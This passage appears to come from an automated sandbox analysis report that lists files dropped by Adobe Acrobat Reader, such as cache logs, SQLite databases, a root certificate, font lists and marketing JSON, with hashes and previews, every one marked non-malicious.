Entropy (8bit):	5.17738854733723
Encrypted:	false
SSDEEP:	6:iO4R9+q2PcNwi2nKuAl9OmbzNMxIFUtSS332WZmwsKsN9VkwOcNwi2nKuAl9Ombg:769+vLZHAa8jFUthHJ/x+9V54ZHAa84J
MD5:	4CB4E158BA5D89E3062071B4CD2F25FD
SHA1:	812C4466639F7F2EC92095956AB80AC7B0615E90
SHA-256:	7CB5EDCCE9AE48CC18EF7A19C198E62416E18CCC392F051215A68AE0264EEE40
SHA-512:	867601723981ED67ADB0FFDD928F44C1C3D029CAA0023B9F8C60E6DFF57672EF5D6FC65D605BAFF7B06F396D8CEF5E4657987E40E547CE1E921A84CF342E1BFE
Malicious:	false
Preview:	2025/01/10-12:35:27.537 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:35:27.538 1d0c Recovering log #3.2025/01/10-12:35:27.539 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438852124450315
Encrypted:	false
SSDEEP:	384:yeaci5GkiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1ourVgazUpUTTGt
MD5:	8BF49356C3D44C2B8CD06A6C96D2AF3E
SHA1:	F9BFCB2A1EED09D5E2BE684C4B56609925E39E17
SHA-256:	24EA3CD22E83EE69540AE3E6FA8A5AF3D32562F097568DB77BBC4953C1FC3A3E
SHA-512:	2F95AFD21846EAF1AEE1E7E09609C3FF857BB2EE3761CFD7A9F6AAEADF99AD8D359E72F0ABB2A875C14D70ADEFE0C661AE574121F93938FE165127E993DFB132
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7773636713578074
Encrypted:	false
SSDEEP:	48:7Mup/E2ioyVDioy3DoWoy1CABoy1bKOioy1noy1AYoy1Wioy1hioybioyzoy1no4:7JpjuD0iA1XKQKEb9IVXEBodRBkG
MD5:	D5AD4637A6061129D92BEC044080F7CA
SHA1:	7824B1CBAC2464A71BAF5F2A2B586CCD729C8A1F
SHA-256:	90D2F5F517D5FEBBF5DFC17F84586E464E43E19FC46A6AA7D56886B8DDBE29B4
SHA-512:	D8BAE4C3DD2EE503CA5C070061B1FB2770C789AE025107FD9126BEFC71E400883D5B2B5672228552E625C10EBC252820DCB25D82C4CEAFA943C77D4BC36BCD05
Malicious:	false
Preview:	.... .c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklDQ9G/tfllXlE/HT8kXlhlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKbI/eT8MllTNMa8RdWBwRd
MD5:	B944973E9C891C6B8BDEA76140EDD3E1
SHA1:	DF79FD787A373F8627FEC8F948E342275B4A76D9
SHA-256:	38C0E259BA926B85E89861391025D19316969D709C460E24FF21EB7E3C436862
SHA-512:	F8AC3AABC0C6E18E565D98BC789F4AB179374E5A467C392B6D692E28D59178F022B7003302A25C533688BDE3DB0A36AD8DA4BD62B9B45A8230598E98E290EFC1
Malicious:	false
Preview:	p...... ........0.D..c..(....................................................... ..........W.... ...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKkQL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDImsLNkPlE99SNxAhUe/3
MD5:	41DB30610377DF652C998D102EFA1B51
SHA1:	52CAC0F0BD753E5AEC0A4F46207915D006BAC343
SHA-256:	52C9F46FD188A4D928BD98134671C7560BABA1313427A8DF79C84B3E816622CE
SHA-512:	E851A0376558D368DD1830F38D27EAC9CC8178EB11AFF4A02C82D8EE8E486723B7410A77AF97C9B31526587AE578C7C3BE3BE936F099DF249D5917B0CE69226E
Malicious:	false
Preview:	p...... .......... .c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6444

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6444

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.381853588065998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJM3g98kUwPeUkwRe9:YvXKX2aDsdTeOiGMbLUkee9
MD5:	BDE9178918D338BF9984A3D56B6E7EE7
SHA1:	B7FDB48AE565225207174E9680FC67FBC50564F5
SHA-256:	2859E7E9BA70C398AE6B7FB95F7D9B76B418060CBD8771244EB864322FA30C0D
SHA-512:	1DD9D99A8D9EF8B5802B36E3D3DDC3CDD58EC4C0EB177468A9C005D4F29F693CCFE94346288F17CB497CA96FAC9B472F832C077D778338449BC10B8B795417E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.317475738417882
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfBoTfXpnrPeUkwRe9:YvXKX2aDsdTeOiGWTfXcUkee9
MD5:	65D405373E9122FFDB7FE6C9C2366F00
SHA1:	60D5C01BDE1101B7FA4A71F4EF170521EB9535E0
SHA-256:	F0771A15BF1B63A50852D6F0F3BD6A9D86FB8622F9E3BA760BD9136A41B031E5
SHA-512:	10F8EDCB5412EEF46282FB9CE8F04A8CD27D2FEDA97ADE713F344AF9A553522C5441BA51DEC5138BE9546144D1D27C938005259BCD69CDEA813C9E6BA802384D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29618195264476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfBD2G6UpnrPeUkwRe9:YvXKX2aDsdTeOiGR22cUkee9
MD5:	13C3DF426A2D6D8E2202D4C66947E88D
SHA1:	C38EF9602A39B5EB1834F0DF8F57EBC91DDA86C6
SHA-256:	D84A939816E24C4352F4DC58255380EFB7D3CD5A7C7C9D47CE7BA9C8B97DD99C
SHA-512:	282F75D57B6C56AE1B27D4D6DA1BCDF021ACDD8B860647CCDB141118B770DC4F2679D8D15EB27A21C8B34471D2660B698FB19B2B2401125A4C09F83EBA406557
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3693806702295435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfPmwrPeUkwRe9:YvXKX2aDsdTeOiGH56Ukee9
MD5:	ED2E4E8867E50735B92711EA405F9810
SHA1:	222B00F4C493DD4C4E1D1825225C1AE540E2351E
SHA-256:	33D3E6D6C740F06304B0F72CEEF2BC963C339E04CE80A243437488B5C2BCF72A
SHA-512:	B3518CD75506074A97D3186AEB4B1BE3443A520055E9847E3307D91BE8A84830D05DAC6260190CF5301DB31358932EF2D46E01A3975EDEF0E73ABE0980BDA526
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6852284400601105
Encrypted:	false
SSDEEP:	24:Yv6XzmeOfpLgE9cQx8LennAvzBvkn0RCmK8czOCCSifq:Yv/ekhgy6SAFv5Ah8cv/Z
MD5:	8310BD1AFDBFC56357AB083D2C0048AD
SHA1:	0BDCBFF25AB4AE9DDACF999F87EE8D439523D477
SHA-256:	5D8BCD3F7F763434F1758410A99A3DABA7A6BB0C1FC11D57E65E74ADBA1215A4
SHA-512:	96E6ACE7B6B80E01DBE8BDDB6A8C011DE458B54F36E658090D2F2DF7FC77FAA5969502D63FE1BA50BBC200CE6221B916C0CA522324F281150F15043161DF7DBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303021856193969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJf8dPeUkwRe9:YvXKX2aDsdTeOiGU8Ukee9
MD5:	42B6BA215CE6663AD63AAE7C587CFE61
SHA1:	E9210B7EA04AA41C0521DFBEB792F6DD3D104997
SHA-256:	944C63342EC0F4AA2A7D726B7782C695FD9D3CE5B79FA9861D04001EF56DC2C5
SHA-512:	512AE0BC5D2248EBF449911F89D194C9A576A98406B066B7918784A56891C0CDFDD7322D9018F02CC21A146F475E67929C5F295FDD71076201AE834408B2B500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307473044141313
Encrypted:	false
